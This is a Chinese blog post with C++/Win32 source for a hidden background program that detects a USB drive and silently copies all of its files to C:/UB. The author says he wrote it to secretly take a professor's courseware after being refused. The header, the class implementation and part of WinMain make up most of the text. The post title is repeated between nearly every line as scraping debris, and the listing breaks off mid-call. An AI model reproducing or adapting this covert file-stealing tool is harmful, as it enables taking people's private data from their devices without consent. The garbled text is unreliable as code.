天天看點

背景拷貝U盤檔案的程式源碼。

運作環境:Windows2000以上版本。

開發語言:C++/API

編輯器:VC6+Sp6

作者:半點閑

開發時間:2006-3-6

程式簡介:

  界面:無。

  功能:在系統程序中運作,當發現“可移動裝置”時,自動拷貝磁盤中所有檔案(含子目錄中的)。到“C:/UB”目錄中。

起引:

       唉,怎麼說呢?反正開始的時候動機不純啊!在學校裡給我們上課的老教授,每次授課時的課件都放在他的U盤裡(其中還有好多好東東......)。而我們每次懇求給我們一份的時候,屢屢都被拒絕。明的不行隻好來暗的了......

FilesCopy.h

背景拷貝U盤檔案的程式源碼。

//  FilesCopy.h: interface for the FilesCopy class.

背景拷貝U盤檔案的程式源碼。

//  檔案拷貝類功能說明:此類作用是對系統内可移動裝置。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

//

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

#if  !defined(AFX_FILESCOPY_H__7DE2C10D_4168_46A5_B7E0_FF8C42257AD6__INCLUDED_)

背景拷貝U盤檔案的程式源碼。

#define  AFX_FILESCOPY_H__7DE2C10D_4168_46A5_B7E0_FF8C42257AD6__INCLUDED_

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

#if  _MSC_VER > 1000

背景拷貝U盤檔案的程式源碼。

#pragma  once

背景拷貝U盤檔案的程式源碼。

#endif   //  _MSC_VER > 1000

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

#define  UNICODE                     // 使用寬字元集模式。

背景拷貝U盤檔案的程式源碼。

#define  MAX_BUFFLEN    MAX_PATH     // 字元緩沖區容量。

背景拷貝U盤檔案的程式源碼。

#define  MAX_DRIVE_NAME 4         // 驅動器名稱字元長度。

背景拷貝U盤檔案的程式源碼。

#include  < windows.h >

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

class  FilesCopy  

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

... {

背景拷貝U盤檔案的程式源碼。

public:

背景拷貝U盤檔案的程式源碼。

    bool bCopyRemovableFilesAll();    //拷貝可移動驅動器中所有檔案(含子目錄中的檔案)。

背景拷貝U盤檔案的程式源碼。

    bool bSeekMoveDrive ();            //查找系統中可用的移動驅動器。

背景拷貝U盤檔案的程式源碼。

    bool bCopyFilesAll(PWCHAR szPathName);    //拷貝指定路徑下的所有檔案

背景拷貝U盤檔案的程式源碼。

    FilesCopy();

背景拷貝U盤檔案的程式源碼。

    virtual ~FilesCopy();

背景拷貝U盤檔案的程式源碼。

private:

背景拷貝U盤檔案的程式源碼。

    bool bCopyFiles(LPCWCH szPathName);    //拷貝指定路徑下所有檔案。

背景拷貝U盤檔案的程式源碼。

    //擷取系統驅動器字元串有效的字元長度(含字元中的NULL字元)。

背景拷貝U盤檔案的程式源碼。

    int InEffectDriveStringsLength(LPCWCH lpBuffer);

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    WCHAR szRemovableDrive[MAX_DRIVE_NAME];    //可移動驅動器。

背景拷貝U盤檔案的程式源碼。

    WCHAR lpBuffer[MAX_BUFFLEN];    //擷取系統可用驅動器名字字元串緩沖區。

背景拷貝U盤檔案的程式源碼。

    DWORD nBufferLength;            //系統可用驅動器緩沖區長度。

背景拷貝U盤檔案的程式源碼。

} ;

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

#endif   //  !defined(AFX_FILESCOPY_H__7DE2C10D_4168_46A5_B7E0_FF8C42257AD6__INCLUDED_)

FilesCopy.cpp

背景拷貝U盤檔案的程式源碼。

//  FilesCopy.cpp: implementation of the FilesCopy class.

背景拷貝U盤檔案的程式源碼。

//

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

//

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

#include  " FilesCopy.h "

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

//

背景拷貝U盤檔案的程式源碼。

//  Construction/Destruction

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

//

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

FilesCopy::FilesCopy()

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

... {

背景拷貝U盤檔案的程式源碼。

    nBufferLength = MAX_BUFFLEN;    //緩沖區長度。

背景拷貝U盤檔案的程式源碼。

}

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

FilesCopy:: ~ FilesCopy()

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

... {

背景拷貝U盤檔案的程式源碼。

}

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

int  FilesCopy::InEffectDriveStringsLength(LPCWCH lpBuffer)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

... {

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    bool bState = false;    //NULL字元狀态(檢測到NULL字元值為true)。

背景拷貝U盤檔案的程式源碼。

    int iCount = 0;            //有效字元串計數器。

背景拷貝U盤檔案的程式源碼。

    //int iNull = 0;            //計算字元串中NULL字元的個數。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    for(int i=0; i < MAX_BUFFLEN; i++)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    ...{

背景拷貝U盤檔案的程式源碼。

        if(lpBuffer[i] == NULL)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

        ...{

背景拷貝U盤檔案的程式源碼。

            if(bState)    //發現字元串結束符(連續兩個NULL字元),退出循環。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

            ...{

背景拷貝U盤檔案的程式源碼。

                //iCount = i - iNull;    //計數器指派。

背景拷貝U盤檔案的程式源碼。

                iCount = i;

背景拷貝U盤檔案的程式源碼。

                break;

背景拷貝U盤檔案的程式源碼。

            }

背景拷貝U盤檔案的程式源碼。

            else

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

            ...{

背景拷貝U盤檔案的程式源碼。

                bState = true;    //發現NULL字元。

背景拷貝U盤檔案的程式源碼。

                //iNull++;        //NULL字元計數。

背景拷貝U盤檔案的程式源碼。

            }

背景拷貝U盤檔案的程式源碼。

        }

背景拷貝U盤檔案的程式源碼。

        else

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

        ...{

背景拷貝U盤檔案的程式源碼。

            bState = false;

背景拷貝U盤檔案的程式源碼。

        }

背景拷貝U盤檔案的程式源碼。

    }

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    return iCount;

背景拷貝U盤檔案的程式源碼。

}

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

bool  FilesCopy::bSeekMoveDrive()

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

... {

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    int iStartMark = 0;                //字元段起始标記。

背景拷貝U盤檔案的程式源碼。

    int nLen = 0;                    //字元串中有效長度。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    //擷取目前系統驅動器失敗。

背景拷貝U盤檔案的程式源碼。

    if(!::GetLogicalDriveStrings (nBufferLength, lpBuffer)) return false;

背景拷貝U盤檔案的程式源碼。

    //擷取系統驅動器字元串中,有效的字元長度(含盤符間間隔的NULL字元)。

背景拷貝U盤檔案的程式源碼。

    nLen = InEffectDriveStringsLength (lpBuffer);

背景拷貝U盤檔案的程式源碼。

    if(!nLen) return false;    //擷取字元串長度失敗。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    //分段拷貝驅動器字元,并查找是否是可移動裝置。

背景拷貝U盤檔案的程式源碼。

    for(int i=0; i <= nLen; i++)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    ...{

背景拷貝U盤檔案的程式源碼。

        if(lpBuffer[i] == NULL)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

        ...{

背景拷貝U盤檔案的程式源碼。

            int k = iStartMark;

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

            for(int j=0; j < MAX_DRIVE_NAME; j++)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

            ...{

背景拷貝U盤檔案的程式源碼。

                szRemovableDrive[j] = lpBuffer[k];    //拷貝字元。

背景拷貝U盤檔案的程式源碼。

                k++;

背景拷貝U盤檔案的程式源碼。

            }

背景拷貝U盤檔案的程式源碼。

            //查找可移動驅動器。

背景拷貝U盤檔案的程式源碼。

            if(::GetDriveType (szRemovableDrive) == DRIVE_REMOVABLE)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

            ...{

背景拷貝U盤檔案的程式源碼。

                //勿略驅動器A,B。

背景拷貝U盤檔案的程式源碼。

                if(!(szRemovableDrive[0] == 'A'))

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

                ...{

背景拷貝U盤檔案的程式源碼。

                    if(!(szRemovableDrive[0] == 'B'))

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

                    ...{

背景拷貝U盤檔案的程式源碼。

                        return true;    //找到可移動裝置,退出循環(程式)。

背景拷貝U盤檔案的程式源碼。

                    }

背景拷貝U盤檔案的程式源碼。

                }

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

                if(!(szRemovableDrive[0] == 'B'))

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

                ...{

背景拷貝U盤檔案的程式源碼。

                    if(!(szRemovableDrive[0] == 'A'))

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

                    ...{

背景拷貝U盤檔案的程式源碼。

                        return true;    //找到可移動裝置,退出循環(程式)。

背景拷貝U盤檔案的程式源碼。

                    }

背景拷貝U盤檔案的程式源碼。

                }

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

            }

背景拷貝U盤檔案的程式源碼。

            iStartMark = i+1;    //重新定義字元段起始位置。

背景拷貝U盤檔案的程式源碼。

        }

背景拷貝U盤檔案的程式源碼。

    }

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    return false;

背景拷貝U盤檔案的程式源碼。

}

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

bool  FilesCopy::bCopyFilesAll(PWCHAR szPathName)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

... {

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    int nLen = 0;    //字元串長度。

背景拷貝U盤檔案的程式源碼。

    DWORD dwAttrs;    //檔案屬性。

背景拷貝U盤檔案的程式源碼。

    HANDLE hFind;

背景拷貝U盤檔案的程式源碼。

    WIN32_FIND_DATA FindFileData;

背景拷貝U盤檔案的程式源碼。

    PWCHAR szPathFileName = NULL;    //檔案名(路徑+檔案名)。

背景拷貝U盤檔案的程式源碼。

    PWCHAR szSubDirName = NULL;        //子目錄名。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    //搜尋目前路徑下的所有檔案。

背景拷貝U盤檔案的程式源碼。

    nLen = ::lstrlen (szPathName) + ::lstrlen (TEXT("*.*"));

背景拷貝U盤檔案的程式源碼。

    szPathFileName = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    if(szPathFileName == NULL)    //動态配置設定存儲空間失敗。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    ...{

背景拷貝U盤檔案的程式源碼。

        return false;

背景拷貝U盤檔案的程式源碼。

    }

背景拷貝U盤檔案的程式源碼。

    ::lstrcpy (szPathFileName, szPathName);    //複制路徑資訊。

背景拷貝U盤檔案的程式源碼。

    ::lstrcat (szPathFileName, TEXT("*.*"));        //連結‘檔案名'。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    //在目前目錄下搜尋檔案。

背景拷貝U盤檔案的程式源碼。

    hFind = ::FindFirstFile (szPathFileName, &FindFileData);

背景拷貝U盤檔案的程式源碼。

    //未找到比對的檔案。

背景拷貝U盤檔案的程式源碼。

    if(hFind == INVALID_HANDLE_VALUE)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    ...{

背景拷貝U盤檔案的程式源碼。

        if(szPathFileName != NULL)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

        ...{

背景拷貝U盤檔案的程式源碼。

            free (szPathFileName);

背景拷貝U盤檔案的程式源碼。

            szPathFileName = NULL;

背景拷貝U盤檔案的程式源碼。

        }

背景拷貝U盤檔案的程式源碼。

        FindClose (hFind);

背景拷貝U盤檔案的程式源碼。

        return false;

背景拷貝U盤檔案的程式源碼。

    }

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    //繼續搜尋滿足條件的檔案。

背景拷貝U盤檔案的程式源碼。

    while(::FindNextFile (hFind, &FindFileData))

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    ...{

背景拷貝U盤檔案的程式源碼。

        //搜尋目前位置下的所有子目錄。

背景拷貝U盤檔案的程式源碼。

        if(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

        ...{

背景拷貝U盤檔案的程式源碼。

            //擷取檔案屬性。

背景拷貝U盤檔案的程式源碼。

            dwAttrs = ::GetFileAttributes (FindFileData.cFileName);

背景拷貝U盤檔案的程式源碼。

            if(dwAttrs & FILE_ATTRIBUTE_ARCHIVE)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

            ...{

背景拷貝U盤檔案的程式源碼。

                if(szSubDirName != NULL)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

                ...{

背景拷貝U盤檔案的程式源碼。

                    free (szSubDirName);

背景拷貝U盤檔案的程式源碼。

                    szSubDirName = NULL;

背景拷貝U盤檔案的程式源碼。

                }

背景拷貝U盤檔案的程式源碼。

                nLen = ::lstrlen (szPathName) + ::lstrlen (FindFileData.cFileName) + ::lstrlen (TEXT("/"));

背景拷貝U盤檔案的程式源碼。

                szSubDirName  = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

                if(szSubDirName == NULL)    //動态配置設定存儲空間失敗。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

                ...{

背景拷貝U盤檔案的程式源碼。

                    if(szPathFileName != NULL)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

                    ...{

背景拷貝U盤檔案的程式源碼。

                        free (szPathFileName);

背景拷貝U盤檔案的程式源碼。

                        szPathFileName = NULL;

背景拷貝U盤檔案的程式源碼。

                    }

背景拷貝U盤檔案的程式源碼。

                    FindClose (hFind);

背景拷貝U盤檔案的程式源碼。

                    return false;

背景拷貝U盤檔案的程式源碼。

                }

背景拷貝U盤檔案的程式源碼。

                ::lstrcpy (szSubDirName , szPathName);    //複制路徑資訊。

背景拷貝U盤檔案的程式源碼。

                ::lstrcat (szSubDirName , FindFileData.cFileName);//連結子目錄資訊。

背景拷貝U盤檔案的程式源碼。

                ::lstrcat (szSubDirName, TEXT("/"));    //連結''符号。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

                bCopyFiles (szSubDirName);    //拷貝檔案。

背景拷貝U盤檔案的程式源碼。

                //開始遞歸。

背景拷貝U盤檔案的程式源碼。

                bCopyFilesAll (szSubDirName);

背景拷貝U盤檔案的程式源碼。

            }

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

        }

背景拷貝U盤檔案的程式源碼。

    }

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    //釋放程式占用的資源。

背景拷貝U盤檔案的程式源碼。

    if(szPathFileName != NULL)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    ...{

背景拷貝U盤檔案的程式源碼。

        free (szPathFileName);

背景拷貝U盤檔案的程式源碼。

        szPathFileName = NULL;

背景拷貝U盤檔案的程式源碼。

    }

背景拷貝U盤檔案的程式源碼。

    FindClose (hFind);

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    return true;

背景拷貝U盤檔案的程式源碼。

}

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

bool  FilesCopy::bCopyFiles(LPCWCH szPathName)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

... {

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    int nLen = 0;

背景拷貝U盤檔案的程式源碼。

    HANDLE hFind;

背景拷貝U盤檔案的程式源碼。

    WIN32_FIND_DATA FindFileData;

背景拷貝U盤檔案的程式源碼。

    PWCHAR scFileName = NULL;    //源目标檔案(路徑+檔案名)。

背景拷貝U盤檔案的程式源碼。

    PWCHAR dsFileName = NULL;    //目地檔案(路徑+檔案名)。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    nLen = ::lstrlen (szPathName) + ::lstrlen (TEXT("*.*"));

背景拷貝U盤檔案的程式源碼。

    scFileName = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    if(scFileName == NULL)    //動态配置設定存儲空間失敗。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    ...{

背景拷貝U盤檔案的程式源碼。

        return false;

背景拷貝U盤檔案的程式源碼。

    }

背景拷貝U盤檔案的程式源碼。

    ::lstrcpy (scFileName, szPathName);        //複制路徑。

背景拷貝U盤檔案的程式源碼。

    ::lstrcat (scFileName, TEXT("*.*"));    //連結‘檔案名’。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    //在目前目錄下搜尋檔案。

背景拷貝U盤檔案的程式源碼。

    hFind = ::FindFirstFile (scFileName, &FindFileData);

背景拷貝U盤檔案的程式源碼。

    //未找到比對的檔案。

背景拷貝U盤檔案的程式源碼。

    if(hFind == INVALID_HANDLE_VALUE)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    ...{

背景拷貝U盤檔案的程式源碼。

        if(scFileName != NULL)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

        ...{

背景拷貝U盤檔案的程式源碼。

            free (scFileName);

背景拷貝U盤檔案的程式源碼。

            scFileName = NULL;

背景拷貝U盤檔案的程式源碼。

        }

背景拷貝U盤檔案的程式源碼。

        FindClose (hFind);

背景拷貝U盤檔案的程式源碼。

        return false;

背景拷貝U盤檔案的程式源碼。

    }

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    //繼續搜尋滿足條件的檔案。

背景拷貝U盤檔案的程式源碼。

    while(::FindNextFile (hFind, &FindFileData))

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    ...{

背景拷貝U盤檔案的程式源碼。

        //不搜尋目錄。

背景拷貝U盤檔案的程式源碼。

        if(!(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

        ...{

背景拷貝U盤檔案的程式源碼。

            //目地檔案。

背景拷貝U盤檔案的程式源碼。

            nLen = ::lstrlen (TEXT("C:/UB/"))

背景拷貝U盤檔案的程式源碼。

                        + ::lstrlen (FindFileData.cFileName);

背景拷貝U盤檔案的程式源碼。

            dsFileName = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));

背景拷貝U盤檔案的程式源碼。

            if(dsFileName == NULL)    //動态配置設定存儲空間失敗。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

            ...{

背景拷貝U盤檔案的程式源碼。

                if(scFileName != NULL)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

                ...{

背景拷貝U盤檔案的程式源碼。

                    free (scFileName);

背景拷貝U盤檔案的程式源碼。

                    scFileName = NULL;

背景拷貝U盤檔案的程式源碼。

                }

背景拷貝U盤檔案的程式源碼。

                FindClose (hFind);

背景拷貝U盤檔案的程式源碼。

                return false;

背景拷貝U盤檔案的程式源碼。

            }

背景拷貝U盤檔案的程式源碼。

            ::lstrcpy (dsFileName, TEXT("C:/UB/"));

背景拷貝U盤檔案的程式源碼。

            ::lstrcat (dsFileName, FindFileData.cFileName);

背景拷貝U盤檔案的程式源碼。

            //源目标檔案。

背景拷貝U盤檔案的程式源碼。

            nLen = ::lstrlen (szPathName) 

背景拷貝U盤檔案的程式源碼。

                        + ::lstrlen (FindFileData.cFileName);

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

            if(scFileName != NULL)    //釋放上次調用占用的資源。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

            ...{

背景拷貝U盤檔案的程式源碼。

                free (scFileName);

背景拷貝U盤檔案的程式源碼。

                scFileName = NULL;

背景拷貝U盤檔案的程式源碼。

            }

背景拷貝U盤檔案的程式源碼。

            scFileName = (PWCHAR) malloc (sizeof(WCHAR) * (nLen +1));

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

            if(scFileName == NULL)    //動态配置設定存儲空間失敗。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

            ...{

背景拷貝U盤檔案的程式源碼。

                if(dsFileName != NULL)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

                ...{

背景拷貝U盤檔案的程式源碼。

                    free (dsFileName);

背景拷貝U盤檔案的程式源碼。

                    dsFileName = NULL;

背景拷貝U盤檔案的程式源碼。

                }

背景拷貝U盤檔案的程式源碼。

                FindClose (hFind);

背景拷貝U盤檔案的程式源碼。

                return false;

背景拷貝U盤檔案的程式源碼。

            }

背景拷貝U盤檔案的程式源碼。

            ::lstrcpy (scFileName, szPathName);

背景拷貝U盤檔案的程式源碼。

            ::lstrcat (scFileName, FindFileData.cFileName);

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

            //建立目錄。

背景拷貝U盤檔案的程式源碼。

            ::CreateDirectory (TEXT("C:/UB/"), NULL);

背景拷貝U盤檔案的程式源碼。

            //拷貝檔案失敗。

背景拷貝U盤檔案的程式源碼。

            if(!CopyFile (scFileName, dsFileName, FALSE))

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

            ...{

背景拷貝U盤檔案的程式源碼。

                if(scFileName != NULL)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

                ...{

背景拷貝U盤檔案的程式源碼。

                    free (scFileName);

背景拷貝U盤檔案的程式源碼。

                    scFileName = NULL;

背景拷貝U盤檔案的程式源碼。

                }

背景拷貝U盤檔案的程式源碼。

                if(dsFileName != NULL)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

                ...{

背景拷貝U盤檔案的程式源碼。

                    free (dsFileName);

背景拷貝U盤檔案的程式源碼。

                    dsFileName = NULL;

背景拷貝U盤檔案的程式源碼。

                }

背景拷貝U盤檔案的程式源碼。

                FindClose (hFind);

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

                return false;

背景拷貝U盤檔案的程式源碼。

            }

背景拷貝U盤檔案的程式源碼。

        }

背景拷貝U盤檔案的程式源碼。

    }

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    if(scFileName != NULL)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    ...{

背景拷貝U盤檔案的程式源碼。

        free (scFileName);

背景拷貝U盤檔案的程式源碼。

        scFileName = NULL;

背景拷貝U盤檔案的程式源碼。

    }

背景拷貝U盤檔案的程式源碼。

    if(dsFileName != NULL)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    ...{

背景拷貝U盤檔案的程式源碼。

        free (dsFileName);

背景拷貝U盤檔案的程式源碼。

        dsFileName = NULL;

背景拷貝U盤檔案的程式源碼。

    }

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    FindClose (hFind);

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    return true;

背景拷貝U盤檔案的程式源碼。

}

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

bool  FilesCopy::bCopyRemovableFilesAll()

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

... {

背景拷貝U盤檔案的程式源碼。

    if(bSeekMoveDrive ())    //搜尋系統中的可移動驅動器。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    ...{

背景拷貝U盤檔案的程式源碼。

        if(bCopyFilesAll (szRemovableDrive))

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

        ...{

背景拷貝U盤檔案的程式源碼。

            return true;

背景拷貝U盤檔案的程式源碼。

        }

背景拷貝U盤檔案的程式源碼。

    }

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    return false;

背景拷貝U盤檔案的程式源碼。

}

main.cpp

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

#define  TIMER_COPYFILE 1     // 定時拷貝檔案。

背景拷貝U盤檔案的程式源碼。

#include  " FilesCopy.h "

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

LRESULT CALLBACK MainWndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam);

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

int  APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, 

背景拷貝U盤檔案的程式源碼。

                      LPSTR lpCmdLine,  int  nShowCmd)

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

... {

背景拷貝U盤檔案的程式源碼。

    TCHAR szClassName[] = TEXT("MainWClass");

背景拷貝U盤檔案的程式源碼。

    WNDCLASSEX wndclass;

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    //用描述主視窗的參數填充WNDCLASSEX結構。

背景拷貝U盤檔案的程式源碼。

    wndclass.cbSize = sizeof(wndclass);    //結構的大小。

背景拷貝U盤檔案的程式源碼。

    wndclass.style = CS_HREDRAW|CS_VREDRAW;    //指定如果大小改變就重畫。

背景拷貝U盤檔案的程式源碼。

    wndclass.lpfnWndProc = MainWndProc;        //視窗函數指針。

背景拷貝U盤檔案的程式源碼。

    wndclass.cbClsExtra = 0;    //沒有額外的類記憶體。

背景拷貝U盤檔案的程式源碼。

    wndclass.cbWndExtra = 0;    //沒有額外的視窗記憶體。

背景拷貝U盤檔案的程式源碼。

    wndclass.hInstance = hInstance;    //執行個體句柄。

背景拷貝U盤檔案的程式源碼。

    wndclass.hIcon = ::LoadIcon (NULL, IDI_APPLICATION);    //使用預定義圖示。

背景拷貝U盤檔案的程式源碼。

    wndclass.hCursor = ::LoadCursor (NULL, IDC_ARROW);        //使用預定義光标。

背景拷貝U盤檔案的程式源碼。

    wndclass.hbrBackground = (HBRUSH)::GetStockObject (WHITE_BRUSH);    //使用白色背景。

背景拷貝U盤檔案的程式源碼。

    wndclass.lpszMenuName = NULL;    //不指定菜單。

背景拷貝U盤檔案的程式源碼。

    wndclass.lpszClassName = szClassName;    //視窗類名稱。

背景拷貝U盤檔案的程式源碼。

    wndclass.hIconSm = NULL;    //沒有類的小圖示。

背景拷貝U盤檔案的程式源碼。
背景拷貝U盤檔案的程式源碼。

    //注冊這個視窗類。

背景拷貝U盤檔案的程式源碼。

    ::RegisterClassEx (&wndclass);

背景拷貝U盤檔案的程式源碼。

    //建立主視窗。

背景拷貝U盤檔案的程式源碼。

    HWND hwnd = ::CreateWindowEx (0,    //dwExStyle,擴充樣式。

背景拷貝U盤檔案的程式源碼。

        szClassName,            //類名。

背景拷貝U盤檔案的程式源碼。

        TEXT("FileCopy"),        //視窗标題。

背景拷貝U盤檔案的程式源碼。

        WS_OVERLAPPEDWINDOW,    //dwStyle,視窗風格。

背景拷貝U盤檔案的程式源碼。

        CW_USEDEFAULT,    //X,坐标。

背景拷貝U盤檔案的程式源碼。

        CW_USEDEFAULT,    //Y,坐标。

背景拷貝U盤檔案的程式源碼。

        CW_USEDEFAULT,    //nWidth,寬度。

背景拷貝U盤檔案的程式源碼。

        CW_USEDEFAULT,    //nHeight,高度。

背景拷貝U盤檔案的程式源碼。

        NULL,    //nWndParent,父視窗句柄。

背景拷貝U盤檔案的程式源碼。

        NULL,    //hMenu,菜單句柄。

背景拷貝U盤檔案的程式源碼。

        hInstance,    //程式執行個體句柄。

